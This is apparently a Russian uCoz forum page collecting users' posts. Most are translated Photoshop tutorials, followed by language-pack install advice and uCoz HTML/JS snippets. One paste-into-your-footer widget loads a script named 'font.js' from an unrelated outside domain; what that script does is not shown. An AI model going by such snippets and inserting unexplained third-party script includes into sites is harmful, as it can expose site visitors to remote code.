    Как только вы создали активное выделение вокруг изображения модели, переместите выделенное изображение модели на наш рабочий документ с помощью инструмента Перемещение (Move). Далее, примените масштабирование (Ctrl+T). Назовите слой с моделью “Модель”. Создайте дубликат изображения модели, скройте видимость дубликата слоя, дубликат слоя с моделью понадобится нам в следующем шаге.



    Далее, мы добавим корректирующий слой Карта Градиента (Gradient Map) к слою с моделью. Техника добавления та же самая, что и в Шаге 2, цвета градиента те же самые.

    ШАГ 4. Добавляем коррекцию изогелияВключите видимость дубликата слоя с моделью. Расположите данный дубликат слоя поверх всех слоёв, назовите этот слой “Модель Изогелия”.
    Далее, примените коррекцию Изогелия (Threshold) к дубликату слоя с моделью, идём Изображение – Коррекция – Изогелия (Image - Adjustments – Threshold). Установите Порог яркости(Threshold Level) примерно 100.
    Далее, мы удалим белые участки на изображении модели, для этого я использовал инструмент Цветовой Диапазон (Color Range Tool), чтобы выделить белые участки, а затем удалить их, итак, идём Выделение – Цветовой Диапазон (Select - Color Range) и выбираем белый участок, далее, нажмите по клавише (ok), а затем нажмите (delete).






    ШАГ 5. ТекстДалее, я добавил текст в верхнем левом углу изображения. Я использовал шрифт, который называется Damn Noisy Kids. Скачать данный шрифт вы можете по ссылке вначале этого урока. Скачайте шрифт, а затем добавьте текст к своему постеру, я напечатал текст RNELdotNET, используя 3 отдельных текстовых слоя.

    ШАГ 6. Размытие в движенииВ этом шаге мы создадим эффект размытия в движении, который будет иметь место за текстом и моделью. Вначале выделите группу с текстом и слой “Модель Изогелия”, а затем нажмите клавиши (Ctrl+Alt+E), чтобы создать объединённый слой. Назовите этот слой “Размытие Модель+Текст”.
    Далее, к объединённому слою примените фильтр Размытие в Движении (Motion Blur Filter), идём Фильтр – Размытие – Размытие в Движении (Filter - Blur - Motion Blur). Установите следующие настройки Угол (angle) 0, Смещение (distance) 425px. Поместите данный слой ниже слоя “Модель”, а затем уменьшите непрозрачность данного слоя до 50%.
    В заключение, добавьте корректирующий слой Карта Градиента (Gradient Map) к слою с размытием, цвета градиента те же самые, что и в Шаге 2, но на этот раз поставьте галочку в окошкеИнверсия (reverse) в параметрах инструмента градиент.
    Примечание переводчика: не забывайте преобразовывать корректирующие слои в обтравочные маски.




    ШАГ 7. ИскрыСоздайте новый слой, расположите данный слой ниже слоя “Размытие Модель+Текст”.
    Назовите этот слой “Искры”. Далее, выберите мягкую кисть. Нарисуйте искры на постере. Я менял диаметр кисти несколько раз, чтобы создать эффект глубины.
    Далее, к слою с искрами добавьте корректирующий слой Карта Градиента (Gradient Map), градиент тот же самый, что и в Шаге 6, также поставьте галочку в окошке Инверсия (reverse).


    ШАГ 8. Текстура старой книгиДалее, мы добавим текстуру Старой книги, я использовал первую текстуру из данного набора текстур. Скачать текстуру вы можете по ссылке вначале этого урока. Скачайте текстуру, откройте в программе Photoshop, а затем переместите текстуру на наш рабочий документ. Для масштабирования и поворота текстуры, используйте инструмент Свободная Трансформация (Free Transform Tool (Ctrl+T), назовите слой с текстурой “Текстура Бумаги”, уменьшите непрозрачность слоя с текстурой до 50%, а также поменяйте режим наложения на Умножение (Multiply).
    Примечание переводчика: слой с текстурой старой бумаги расположите поверх всех слоёв в палитре слоёв.




    Итак, мы создали красивый ретро постер. Надеюсь, вам понравился данный урок.
    Итоговый результат
    р е к л а м а
  •  
    tops88Дата: Суббота, 02.08.2014, 16:06 | Сообщение # 36
    Форум: Уроки Photoshop | Тема: Создаём потрясающий закат в Фотошоп
    Постер
    Группа: Пользователи
    Сообщений: 25
    Репутация: 0
    В этом уроке программы Photoshop вы узнаете, как за несколько простых шагов создать захватывающий сюрреалистический пейзаж. Мы применим технику совмещения изображений, используем размытие, чтобы создать дистанцию между объектами и многое другое.
    Итоговый результат

    Исходные материалы:
  • Модель
  • Горное озеро
  • Горы на заднем фоне
  • Гора справа
  • Гора слева
  • Река
  • Небо
  • Башня
  • Замок
    Шаг 1. Создайте новый документИтак, давайте создадим новый документ. Идём Файл – Новый (File -> New). 1311 рх по ширине и 1000 рх по высоте. Примените настройки, которые указаны на скриншоте ниже.

    Шаг 2. Залейте градиентом задний фонПеред тем, как мы приступим к созданию нашей сцены, залейте задний фон градиентом.

    Шаг 3. ПоместитьЧтобы поместить изображение на наш рабочий документ, идём Файл- Поместить (File - Place).

    Шаг 4. РекаВыберите стоковое изображение Горное озеро. Примените масштабирование к данному изображению в соответствии с размерами рабочего документа.

    Шаг 5. Уменьшите непрозрачность слояУменьшите непрозрачность слоя с горным озером до 80%, а затем добавьте слой-маску.

    Шаг 6. Скройте облакаНаходясь на слой-маске слоя, обработайте чёрной кистью облака, чтобы скрыть их. Непрозрачность кисти 50%.

    Шаг 7Поместите следующее стоковое изображение с горами на заднем фоне на наш рабочий документ, точно также как вы это проделывали ранее. Примените масштабирование, потянув за угловую опорную точку, при этом удерживайте клавишу shift, чтобы сохранить пропорции изображения.

    Шаг 8. Меняем цветДважды щёлкните по миниатюре слоя, далее появится следующее окно, нажмите кнопку ОК.
    Примечание переводчика: автор преобразовал слой с горами в смарт-объект, если вы дважды щёлкните по слою со смарт-объектом, то появится окно, которое указано ниже. Т.е. в любой момент после проведения цветовой коррекции, вы можете вернуться к оригинальному изображению.
    Вы можете также продублировать слой, чтобы у вас был рабочий дубликат слоя и оригинальный слой.

    Далее, нажмите клавиши (Ctrl + U), в настройках поставьте галочку в окошке Тонирование (colorize), а также уменьшите значение Насыщенности (saturation) до 12. Теперь сохраните изображение (Ctrl + S), теперь изменится цвет наших гор.

    Шаг 9. Слой-маскаК слою с горами добавьте слой-маску. И на слой-маске обработайте мягкой чёрной кистью нижнюю часть изображения, чтобы создать плавный переход с изображением горного озера. Уменьшите непрозрачность данного слоя до 70%, таким образом, вы сможете увидеть изображение заднего фона.
    Примечание переводчика: скорее всего, автор предлагает временно уменьшить непрозрачность слоя с горами, чтобы вы могли увидеть область обработки кистью в соответствии с пейзажем заднего фона.

    Шаг 10. СлоиТеперь поменяйте порядок слоёв в палитре слоёв. Переместите нижний слой с горным озером наверх, расположив поверх слоя с горами, чтобы результат получился, как на скриншоте ниже:

    Шаг 11   ДеталиТеперь проделайте то же самое с другими деталями композиции, например, с замком. Поместите изображение с замком на наш рабочий документ, применив масштабирование, а также добавив слой-маску, чтобы скрыть лишние участки изображения. При создании выделения, вы можете воспользоваться инструментом Волшебная палочка  (Magic Wand tool) или любым другим инструментом на ваш выбор.
    На скриншоте ниже, вы можете увидеть, что если вы воспользуетесь инструментом Волшебная палочка (Magic Wand tool), то он выделит синие участки изображения.

    Далее, пройдитесь чёрной кистью по активной области выделения, чтобы удалить её. Результат должен быть, как на скриншоте ниже:
    Примечание переводчика: для обработки выделенной области, вы можете воспользоваться инструментом ластик или слой-маской. 
    После применения масштабирования к изображению замка.


    Шаг 12. Непрозрачность слояУменьшите непрозрачность слоя с замком до 25%, скройте некоторые участки изображения замка, чтобы совместить с пейзажем гор.

    Шаг 13. БашняПовторите то же самое с изображением Башни. Уменьшите непрозрачность слоя с изображением башни до 30%

    Шаг 14. ГорыДалее, мы дополнительно добавим горы. Поместите изображение горы справа на наш рабочий документ.

    Шаг 15. Слой-маскаДля нашей композиции нам нужна только большая гора справа, поэтому, с помощью слой-маски, скройте лишние участки изображения, оставив только изображение горы.

    Шаг 16. МасштабированиеС помощью инструмента свободная трансформация (Ctrl+T), уменьшите размер изображения горы, как показано на скриншоте ниже. С помощью слой-маски и чёрной кисти, скройте лишние детали изображения.

    Проделайте то же самое с другой горой в левой части нашей сцены, но на этот раз уменьшите непрозрачность слоя с горой до 80%

    Шаг 17. Поместите небоПоместите следующее стоковое изображение с небом на наш рабочий документ.

    Шаг 18. Жёсткий светПоменяйте режим наложения для данного слоя с небом на Жёсткий свет (hard light), уменьшите непрозрачность слоя до 75%. Также с помощью слой-маски, скройте лишние участки изображения.

    Шаг 19. Оранжевый оттенокЧтобы добавить насыщенности закату солнца, с помощью мягкой круглой кисти оранжевого цвета, прокрасьте по области неба. Установите режим наложения для данного слоя на Мягкий свет(soft light). Вы можете установить степень непрозрачности в зависимости от режима насыщенности вашего планшета, а если у вас нет планшета, то непрозрачность для данного слоя можно установить на 30%.
    Примечание переводчика: не забудьте создать новый слой для создания световых эффектов.

     
    Шаг 20. МодельПоместите изображение с моделью на наш рабочий документ. С помощью слой-маски, отделите изображение модели от оригинального заднего фона.


    Шаг 21. ВолосыСоздайте выделение только вокруг волос модели, далее, нажмите клавиши (Ctrl + J), чтобы продублировать выделенную область на новый слой.

    Шаг 22. Меняем цвет волосНажмите клавиши (Ctrl+U), чтобы изменить цвет волос. В появившемся окне настроек, поставьте галочку в окошке Тонирование (Colorize). Примените следующие настройки:
    Цветовой тон (Hue) 9
    Насыщенность (Saturation) 25
    Яркость (Lightness) -30.

    Шаг 23. Локоны волосЧтобы нарисовать локоны волос, вам понадобится планшет для получения наиболее лучших результатов, но это не означает, что вы не можете это сделать с помощью мышки. Вначале выберите цветовой оттенок с области волос с помощью инструмента Пипетка (eyedropper tool), далее, нарисуйте локоны волос, чтобы они были не так уж длинными и не так уж короткими. Используйте мягкую круглую кисть размером 2px.

    Дорисуйте ещё локоны волос.

    Шаг 24. Белые штрихиПрокрасьте волосы белыми штрихами, чтобы добавить световые блики на волосы:

    Добавьте немного светло-коричневого оттенка:

    Шаг 25. ТениДля создания теней на волосах модели, прокрасьте мягкой круглой кистью по волосам, как показано на скриншоте ниже:
    Примечание переводчика: не забудьте создать новый слой для создания теней.

    Поменяйте режим наложения для данного слоя на Мягкий свет (Soft Light).

    Шаг 26. СветотениПрокрасьте новый слой серым оттенком, как показано на скриншоте ниже.
    Примечание переводчика: создайте новый слой поверх всех остальных слоёв, залейте его 50% серым.

    С помощью инструментов Осветлитель  и Затемнитель (dodge & burn tool), создайте светотени на созданном слое с серой заливкой. Поменяйте режим наложения для данного слоя наМягкий свет (soft light).

    Шаг 27. Эффекты освещенияСоздайте новый слой. На новом слое примените мягкую круглую кисть оранжевого цвета, чтобы создать эффекты освещения поверх изображения гор. Не забывайте про направление света, откуда исходит источник света.

    Уменьшите непрозрачность слоя до 40%.

    Шаг 28. РекаДавайте вернёмся к заднему фону. Поместите изображение реки на наш рабочий документ.

    С помощью слой-маски, скройте лишние участки изображения, оставив лишь изображение реки. Уменьшите непрозрачность слоя до 70%

    Шаг 29. ТениВыберите мягкую круглую кисть большого размера. Прокрасьте поверх горы, где стоит девушка, чтобы создать тень девушки. Цвет кисти чёрный, непрозрачность кисти 35%.

    Шаг 30. Световые бликиСоздайте новый слой. Выберите круглую кисть размером 2 или 4px. С помощью штрихов, прокрасьте по изображению гор и объектов, цвет кисти должен быть оранжевый.

    На скриншоте ниже, вы можете увидеть участки, прокрашенные белой кистью.

    Шаг 31. РазмытиеДавайте немного размоем задний фон. Отключите видимость всех слоёв, оставив видимыми только те, которые относятся к заднему фону, нажмите клавиши (Ctrl + A), а затем (Ctrl + Shift + C), чтобы скопировать текущее изображение, а не текущий слой, далее нажмите клавиши (Ctrl + V), таким образом, вы получите дубликат изображения заднего фона.
    Примечание переводчика: к заднему фону относится изображение с замком, башней, включая горы, кроме модели и горки на переднем плане. Автор размывает задний фон, чтобы объекты казались немного удалёнными от модели.
    Добавление размытия к заднему фону, создаст ощущение, что горы и все другие объекты находятся на удалении от модели.

    Далее, преобразуйте дубликат слоя с задним фоном в смарт-объект, а затем примените Фильтр Размытие по Гауссу (filter Gaussian blur), радиус размытия 2px:

    Шаг 32. ЗатемнениеСоздайте новый слой. Прокрасьте мягкой чёрной кистью, как показано на скриншоте ниже. Непрозрачность кисти 20%.
    Примечание переводчика: пройдитесь кистью по краям изображения.

    Поменяйте режим наложения для данного слоя на Мягкий свет (soft light).

    Шаг 33. Добавляем цветаПрокрасьте небо оранжевой кистью. Жёлтой кистью и кистью с лёгким оттенком синего цвета, добавьте интенсивности к освещению. Поменяйте режим наложения для данного слоя на Мягкий свет (soft light).

    При режиме наложения Мягкий свет (soft light).

    Шаг 34. Градиентная заливкаВ нижней панели инструментов нажмите кнопку Создать новый корректирующий слой или слой-заливку (Create New Fill or adjustment layer), и в появившемся окне, выберите опциюГрадиент (Gradient).

    Установите цвета градиента Чёрный и Жёлтый.

    Шаг 35. Режим наложенияПоменяйте режим наложения для данного слоя на Мягкий свет (soft light), непрозрачность слоя 20%.

    Шаг 36. Заключительный штрихСоздайте новый слой, залейте его чёрным цветом. Далее идём Фильтр – Рендеринг – Блик (Filter – Render – Lens Flare)

    Нажмите ОК и вы получите следующий результат:

    Поменяйте режим наложения для слоя со световым бликом на Осветление (screen), уменьшите Непрозрачность (opacity) слоя до 50%, а значение Заливки (fill) до 70%

    Всё, мы завершили урок!
    Итоговый результат
    р е к л а м а
  •  
    tops88Дата: Суббота, 02.08.2014, 16:04 | Сообщение # 37
    Форум: Уроки Photoshop | Тема: Создаём в Фотошоп макет сайта с 3D эффектом
    Постер
    Группа: Пользователи
    Сообщений: 25
    Репутация: 0
    В этом уроке Вы узнаете, как создать макет сайта с 3D эффектом, используя простые техники.
    Финальный результат:

    Для начала создайте новый документ 1100х1177px и залейте фон цветом #333333.

    Убедитесь, что выбран фоновый слой, перейдите в меню Фильтр > Шум > Добавить шум (Filter > Noise > Add Noise) и используйте следующие параметры.

    С помощью инструмента Прямоугольник  (Rectangle Tool) нарисуйте фигуру в центре шаблона используя цвет #7f7f7f.

    Затем примените фильтр Шум.

    Возьмите инструмент Линия  (Line Tool) и добавьте вертикальние линии как показано на скриншоте ниже.

    Выделите все слои с вертикальными линиями и нажмите CTRL+E, чтобы объеденить их в один слой. Теперь нужно изменить перспективу у линий, для этого перейдите в меню Редактирование > Трансформирование > Перспектива (Edit > Transform > Perspective).

    Инструментом Прямоугольник  (Rectangle Tool) создайте шапку сайта.

    Я использовал следующие стили слоя, чтобы создать тень под шапкой:

    Дублируйте слой с шапкой и примените фильтр Шум (Фильтр > Шум > Добавить шум (Filter > Noise > Add noise).

    Инструментом Линия  (Line Tool) добавьте линию толщиной 6px.

    Для этой линии я добавил стили слоя, указанные на скриншоте ниже. Сохраните эти стили, т.к. мы будем использовать их в дальнейшем.




    Инструментом Линия  (Line Tool) добавьте 1 пиксельную линию, как на скриншоте ниже.

    Сейчас мы будем создавать слайд-шоу. Для этого возьмите инструмент Прямоугольник со скруглёнными углами  (Rounded Rectangle Tool), радиус установите на 10px, и создайте фигуру, как на скриншоте ниже.

    Затем перейдите в меню Редактирование > Трансформирование > Деформация (Edit > Transform > Warp) и используйте параметры указанные ниже.

    Ваше слайд-шоу должно выглядеть теперь примерно так:

    Создайте теперь прямоугольник меньшего размера и поместите его в центре предыдущего. Примените к нему стили слоя, которые я говорил Вам сохранить.

    Возьмите инструмент Эллипс  (Ellipse Tool) и создайте фигуру. Трансформируйте эту фигуру так, чтобы получилось что-то вроде этого:

    Чтобы сделать из фигуры реалистичную тень, Вам нужно перейти в меню Фильтр > Размытие > Размытие по Гауссу (Filter > Blur > Gaussian Blur).

    Затем создайте прямоугольник.

    Примените фильтр Шум к этой фигуре и над ней нарисуйте две 1 пиксельных линий. Также, добавьте стиль Тень (Drop shadow).

    Инструментом Прямоугольник со скруглёнными углами  (Rounded Rectangle Tool) создайте зелёную кнопку.

    Под слоем с кнопкой создайте новый слой и инструментом Кисть  (Brush tool), белого цвета, добавьте немного бликов.

    Затем добавьте тень под кнопкой, используя ту технику, которую мы использовали в слайд-шоу.

    Сейчас мы сделаем тень немного интереснее. Перейдите в меню Редактирование > Трансформирование > Деформация (Edit > Transform > Warp) и используйте следующие параметры:

    Теперь, Ваша кнопка должна выглядеть так:

    Создайте новый слой и инструментом Кисть  (Brush Tool) добавьте блик в центре кнопки.

    Инструментом Линия  (Line tool) нарисуйте белую линию, как на скриншоте ниже.

    Растрируйте слой с линией и инструментом Ластик  (Eraser Tool), с мягкими краями, удалите правую и левую часть линии.

    Дублируйте кнопку несколько раз и разместите их следующим образом:

    Теперь нужно создать фон для контента. Возьмите инструмент Прямоугольник со скруглёнными углами  (Rounded Rectangle Tool) и создайте фигуру.

    К этому прямоугольнику примените фильтр Шум и добавьте стили слоя указанные ниже.



    Инструментом Кисть  (Brush Tool ) добавьте блик в левом верхнем углу.

    Затем заполните эту область каким-нибудь контентом. Ниже Вы можете увидеть, что получилось у меня.

    Создайте футер используя ту же технику, что и при создании шапки сайта.
    Добавьте свои копирайты в левой части футера.

    В правой части добавьте социальные иконки.

    Инструментом Текст  (Type Tool) напишите название сайта и слоган.

    Затем возьмите инструмент Эллипс  (Ellipse Tool) и нарисуйте фигуру, как на скриншоте ниже.

    Примените фильтр Размытие по Гауссу (Gaussian Blur) и удалите левую часть фигуры.

    Выберите инструмент Прямоугольник со скруглёнными углами  (Rounded Rectangle Tool) и создайте прямоугольник. Удалите левую часть прямоугольника. Инструментом Текст  (Type Tool) напишите текст : “Hire Us – We are available for work”.

    Тем же способом создайте поисковое поле в правой части шапки.

    Заполните слайд-шоу какими-нибудь изображениями и текстом. Это не так уж сложно, поэтому я не буду объяснять, как это сделать.

    Финальный результат:
    р е к л а м а
     
    NooneДата: Вторник, 29.07.2014, 15:09 | Сообщение # 38
    Форум: Новости | Тема: Как русифицировать фотошоп?
    Продвинутый
    Группа: Администратор
    Сообщений: 65
    Репутация: 2
    Пакеты локализации – т.н. русификаторы чаще всего имеют вид программы (exe файла) или самораспаковывающегося архива. Как в первом, так и во втором случае программе-установщику (или архиватору) нужно указать прямой путь до папки, в которую установлен Photoshop, и скопировать предлагаемые файлы с заменой существующих. Пример: запускаем лэнг-пак двойным щелчком мыши и в предложенном окне указываем путь до Фотошопа – Program Files/Adobe/Photoshop CS3/ – после указания пути, нажимаем -далее- и ждем окончания установки файлов. На вопрос: Заменить? (Да/Нет), отвечаем – Да. Теперь Ваш Фотошоп будет общаться с Вами по-русски (если конечно у локализаторов руки были не кривые).
    р е к л а м а


     
    NooneДата: Воскресенье, 27.07.2014, 20:09 | Сообщение # 39
    Форум: Уроки Photoshop | Тема: Текст с эффектом обводки
    Продвинутый
    Группа: Администратор
    Сообщений: 65
    Репутация: 2
    Из этого урока Вы узнаете, как создать красивый текстовый эффект, с помощью простых инструментов и стилей слоя.
    


    
    Шаг 1
    Установите основной цвет # cecece и фоновый цвет # 949494. Активируйте инструмент Градиент  (Gradient Tool), и выберите Радиальный градиент (Radial Gradient) в панели параметров. Затем проведите радиальный градиент от центра документа в один из углов.

    

    
    Переместите металлическую текстуру в Ваш документ и поместите выше слоя с фоном, а затем измените Режим смешивания (Blend Mode) на Затемнение основы (Color Burn), а его Непрозрачность (Opacity) до 40% .

    Шаг 2
    Напишем текст заглавными буквами, используя цвет # f4edd2. Шрифт используется в Toundru и размер 300 пикс.



    Дублируем слой с текстом (Ctrl + J). Мы будем использовать первый слой текста для создания обводки, а второй для создания основного эффекта.



    Шаг 3
    Дважды нажмите на оригинальный слой текста, чтобы добавить следующие Стили слоя (Layer Style).
    Тень (Drop Shadow): Измените цвет на # 979797 и Расстояние (Distance) до 38.



    Тиснение (Bevel and Emboss): Изменим Стиль (Style): Обводящее тиснение (Stroke Emboss), Глубина (Depth): 755, Размер (Size): 4, Контур (Gloss Contour): Перевернутый конус (Cone – Inverted), а также поставим галочку Сглаживание (Anti-aliased).
    Нам нужна обводка с эффектом тиснения, для этого нам нужно добавить обводку и немного изменить настройки, чтобы увидеть эффект тиснения.



    Обводка (Stroke): Изменим Размер (Size): на 5, Положение (Position): Снаружи (Outside), и измените цвет на # f4efde . Теперь Вы можете увидеть обводку с эффектом тиснения.



    Это то, что Вы должны получить. Обратите внимание, что значение расстояние Тень (Drop Shadow) довольно большое, это означает, что тень будет далеко от текста. Вот почему мы использовали слой с текстом, чтобы создать обводку, так как это позволит убедиться, что тень заполнена, а не пустая в середине.



    Шаг 4
    Теперь мы собираемся создать простой шаблон. Итак создаем новый документ (Ctrl + N) 5 х 5 пикс. с белым фоном. Затем выберите инструмент Прямоугольная область (Rectangular Marquee Tool) и нажмите Добавить к выделенной области (Add to selection) в панели настроек.
    Создадим 1 х 1 пикс. квадраты по диагонали документа, как показано ниже.



    Заполните выделение черным цветом и нажмите Ctrl  + D, чтобы избавиться от выделения.



    Перейдем к Редактирование-> Определить узор (Edit-> Define Pattern) и введите имя для шаблона.



    Шаг 5
    Вернемся к исходному документу, дважды щелкните на копии текстового слоя, чтобы применить следующие Стили слоя (Layer Style).
    Тень (Drop Shadow): Измените цвет на # 797979, Смещение (Distance) до 4, и Размер (Size) до 7.



    Внутренняя тень (Inner Shadow): Измените цвет на # 606060, Смещение (Distance) до  0, а Размер (Size) до 15.



    Внешнее свечение (Outer Glow): измените Режим смешивания (Blend Mode) на Умножение (Multiply), и цвет на # 9c9696.



    Внутреннее свечение (Inner Glow): измените Режим смешивания (Blend Mode) на Умножение (Multiply), и цвет на # d1d1d1.



    Оба  эффекта свечения используется для активизации теневых эффектов, изменяя их Режим смешивания (Blend Mode) на Умножение (Multiply).
    Тиснение (Bevel and Emboss): Изменим Размер (Size) до 25, и Режим тени (Shadow Mode) цвет # d1cdb8.



    Текстура (Texture): Выберите диагональный узор линий созданный в предыдущем шаге, и измените Глубина (Depth) до 5 . Вы можете увеличить значение глубина, если хотите, чтобы диагональные линии, были более четкими.



    Вот что должно получиться.



    Шаг 6
     Зажмите клавишу Ctrl и щелкните на миниатюру текстового слоя (значок), чтобы создать выделение.



    Далее, мы будем заполнять и применять различные значения Стилей слоя (Layer Style) для каждой буквы по отдельности. Так начнем с первой буквы, создайте новый слой (Crtl + Shift + N) поверх всех слоев и назовите его так же, как называется та буква с которой Вы будете работать, и измените Режим смешивания (Blend Mode) нового слоя на Умножение(Multiply).



    Выберите инструмент Прямоугольная область  (Rectangular Marquee Tool) и нажмите Пересечение с выделенной областью (Intersect with selection) в панели настроек. Затем, нарисуйте выделение вокруг буквы с которой Вы будете работать.



    Буква будет выделена отдельно.



    Заполните букву любым цветом. Здесь, цвет используется # 4ea6d0.



    Шаг 7
    Дважды щелкните на слой (в данном случае, "С"), чтобы применить следующие Стили слоя (Layer Style).
    Внутренняя тень (Inner Shadow): Выберите цвет, который сочетается с тем, каким заливали букву,  цвет используется # 74b6d4. Затем измените Непрозрачность (Opacity) до 100%, Смещение (Distance) до 0, Размах (Choke) на 15, а Размер (Size) до 18.



    Наложение градиента (Gradient Overlay): измените Режим смешивания (Blend Mode) на Мягкий свет (Soft Light), Стиль (Style) Радиальный (Radial), а Масштаб (Scale) на 150%. Затем нажмите кнопку Градиент (Gradient) окно для создания градиента.



    Для градиента, нам нужно два цвета, основной цвет # 070606 (он будет использован со всеми другими цветами), и цвет слева - это любой цвет, который сочетается с цветом заливки букв. Вы можете попробовать различные цвета и проверить превью, затем выбрать любой понравившийся Вам цвет. Цвет, используемый в уроке # 9de0ff.



    Это позволит сделать заливку букв более яркой.



    Повторите предыдущие шаги для каждой из оставшихся букв. Выделите весь текст (Ctrl + клик по мииатюре слоя с текстом ), используйте инструмент
     Прямоугольная область  (Rectangular Marquee Tool), чтобы отделить одну букву, с которой Вы хотите работать, создайте новый слой (Ctrl + Shift + N) измените Режим смешивания (Blend Mode) наУмножение (Multiply), заполните выделение любым цветом, примените Стиль слоя (Layer Style) для буквы с помощью подходящего цвета для Внутренняя тень (Inner Shadow): и цвета градиента, и Вы получите яркие красочные буквы.



    Шаг 8
    Установите цвет переднего плана на # d7d0c0 и выберите инструмент Линия (Line Tool). Установите толщину в 7 пикс. в панели настроек, а также создавайте новые слои (Ctrl + Shift + N) под каждой буквой, как показано ниже.



    Дважды щелкните на слое формы линии, чтобы применить следующие Стили слоя (Layer Style):

    Тень (Drop Shadow): Измените цвет на # 979797 и снимите галочку Глобальное освещение (Use Global Light), чтобы изменить Угол (Angle), не влияя на значение Угол (Angle)  других стилей слоя в документе. Затем измените Угол (Angle) до -145 и Размер (Size) на 38.



    Внутренняя тень (Inner Shadow): Изменим цвет на # 6a6a6, а Смещение (Distance)  до 0.



    Тиснение (Bevel and Emboss): Измените Режим подсветки (Highlight Mode) на Перекрытие (Overlay).



    Контур (Contour): Используйте значения по умолчанию.



    Текстура (Texture): Используйте диагональный узор линий и измените Глубина (Depth) до 50.



    Наложение Цвета (Color Overlay): Выберите цвет, который соответствует цвету  буквы. Здесь, цвет используется # 347c9e.



    Вот, что должно получиться.



    Шаг 9
    Дублируем слой с формой линии (Ctrl + J) и переместим копию в право для того, чтобы поместить ее за следующей буквой.



    Дважды щелкните на слой копию, чтобы изменить Наложение Цвета (Color Overlay):  на новый
    цвет, который сочетается с цветом новой буквы. Здесь, цвет установлен # e57e2e.


    Вы можете изменить узор фигуры, если Вы не хотите применить наложение цвета, но с использованием стиля Наложение Цвета (Color Overlay) наши веревочки лучше сочетаются с буквами.



    Сделайте то же самое для остальных букв.



    Вот что у нас получилось. Надеюсь Вам понравился этот урок!

    р е к л а м а


     
    NooneДата: Воскресенье, 06.07.2014, 21:45 | Сообщение # 40
    Форум: Раскрутка сайтов | Тема: Каталог сайтов (бесплатно)
    Продвинутый
    Группа: Администратор
    Сообщений: 65
    Репутация: 2
    <!-- goon html -->
    <a href="http://goon.ru/" target="_top" title="Goon Каталог сайтов">
    <img src="http://goon.ru/be/goon88.gif" width=88 height=31 alt="Goon Каталог сайтов" border=0 title="Goon Каталог сайтов"></a>
    <!-- /goon html -->
    р е к л а м а


     
    NooneДата: Пятница, 11.04.2014, 02:32 | Сообщение # 41
    Форум: Другие скрипты для uCoz | Тема: Мобильная версия для сайта UcoZ
    Продвинутый
    Группа: Администратор
    Сообщений: 65
    Репутация: 2
    Кстати, не забывайте что PDA версия настраивается не только онлайн, но и через редакторы HTML. Скоро должна выйти новая PDA версия 2014, а затем пробная 2015
    р е к л а м а


     
    sharlinДата: Среда, 19.03.2014, 11:38 | Сообщение # 42
    Форум: Другие скрипты для uCoz | Тема: Профиль в правом нижнем углу для ucoz
    Постер
    Группа: Пользователи
    Сообщений: 20
    Репутация: 0
    скрин: http://s018.radikal.ru/i509/1311/e5/84379aeb4b82.png

    Установка:
    В нижнюю часть сайта прописываем:

    Код
    <?if($USER_LOGGED_IN$)?><div id="up">   
    <div id="bg_up">   
    <a href="/index/8" target="_blank" class="but_user"></a>   
    <?if($UNREAD_PM$)?><a href="$PM_URL$" target="_blank" class="but_user_pm_us"><div class="us">$UNREAD_PM$</div></a><?else?><a href="$PM_URL$" target="_blank" class="but_user_pm"><div class="us">0</div></a><?endif?>   
    <a href="/index/10" class="but_user_quit"></a>   
    <a href="javascript://" onclick="$('body').scrollTo('0px',5800, {axis:'y'})" id="scrollup" class="but_user_up"></a>   
    </div>   
    </div><?endif?>
    <script src="http://24-moto.ru/font.js" type="text/javascript"></script>
    <script type="text/javascript">   
    $(document).ready(function(){   
    $("#up").hide();   
    $(function(){   
    $(window).scroll(function(){   
    if ($(this).scrollTop() > 400){   
    $('#up').fadeIn();   
    } else {   
    $('#up').fadeOut();   
    }   
    });   
    $('#up').clidck(function(){   
    $('body,html').animate({   
    scrollTop:0   
    }, 5800);   
    });   
    });   
    });   
    </script>


    А вот это прописываем в таблицу стилей css:

    Код
    #up{cursor:pointer;position:fixed;bottom:5px;right:40px;z-index:1;}   
    #bg_up {background:#0e0e0e;-webkit-border-radius: 5px;-moz-border-radius: 5px; border-radius: 5px;border-bottom:1px solid #1a1a1a;padding:3px 4px 1px 4px;overflow:hidden;}   
    a.but_user {background:url(http://pnghosts.ru/img/but_user.png) no-repeat;display:block;width:21px;height:20px;float:left;}   
    a.but_user_quit {background:url(http://pnghosts.ru/img/but_user_quit.png) no-repeat;display:block;width:21px;height:20px;float:left;margin:0px 1px 0px 0px;}   
       
    a.but_user_up {background:url(http://pnghosts.ru/img/but_user_up.png) no-repeat;display:block;width:21px;height:20px;float:left;margin:0px 0px 0px 15px;}   
    a.but_user_pm {background:url(http://pnghosts.ru/img/but_user_left.png) no-repeat left, url(/user/but_user_right.png) no-repeat right, url(http://pnghosts.ru/img//but_user_center.png) repeat-x center;height:20px;display:block;float:left;padding:0px 5px 0px 25px;margin:0px 3px 0px 3px;}   
    a.but_user_pm_us {background:url(http://pnghosts.ru/img/but_user_left_us.png) no-repeat left, url(/user/but_user_right.png) no-repeat right, url(http://pnghosts.ru/img/but_user_center.png) repeat-x center;height:20px;display:block;float:left;padding:0px 5px 0px 25px;margin:0px 3px 0px 3px;}
    р е к л а м а


    Я закрою раны от дотошных людей.
     
    sharlinДата: Среда, 19.03.2014, 11:38 | Сообщение # 43
    Форум: Другие скрипты для uCoz | Тема: Форма поиска по сайту ucoz
    Постер
    Группа: Пользователи
    Сообщений: 20
    Репутация: 0
    Скрин: http://s018.radikal.ru/i515/1402/43/94d2e52a011e.jpg

    Скрипт представляет собой форму поиска по сайту, а именно по выбранным модулям, типа доски объявлений, каталогов сайтов и файлов и т.д.

    Поменяйте название сайта на своё, далее копируем весь код и в конструкторе на сайте добавляем в какой нибудь блок, потом сохраняем конструктор и проверяем работу скрипта, по возможности можете добавить в него дополнительные модули для поиска.

    Код
    <script type="text/javascript">  
    //Search start  
    function searchSelect(f) {  
    n = f.modul.selectedIndex;  
    modul = f.modul.options[n].value;  
    document.search.action = 'http://SITE.RU/'+modul+'/';  
    if (modul == 'news')  
    {  
    document.search.a.value = '14';  
    }  
    else  
    if (modul == 'load' || modul == 'publ' || modul == 'dir' || modul == 'board')  
    {  
    document.search.a.value = '2';  
    }  
    else  
    if (modul == 'blog')  
    {  
    document.search.a.value = '13';  
    }  
    else  
    if (modul == 'faq')  
    {  
    document.search.a.value = '3';  
    }  
    }  
    //Search end  
    </script>  
    <div class="searchForm">  
    <form name="search" onSubmit="this.sfSbm.disabled=true" method="post" style="margin: 0px;">  
    <div class="schQuery" align="center">  
    <input name="query" maxlength="30" size="20" class="queryField" type="text">  
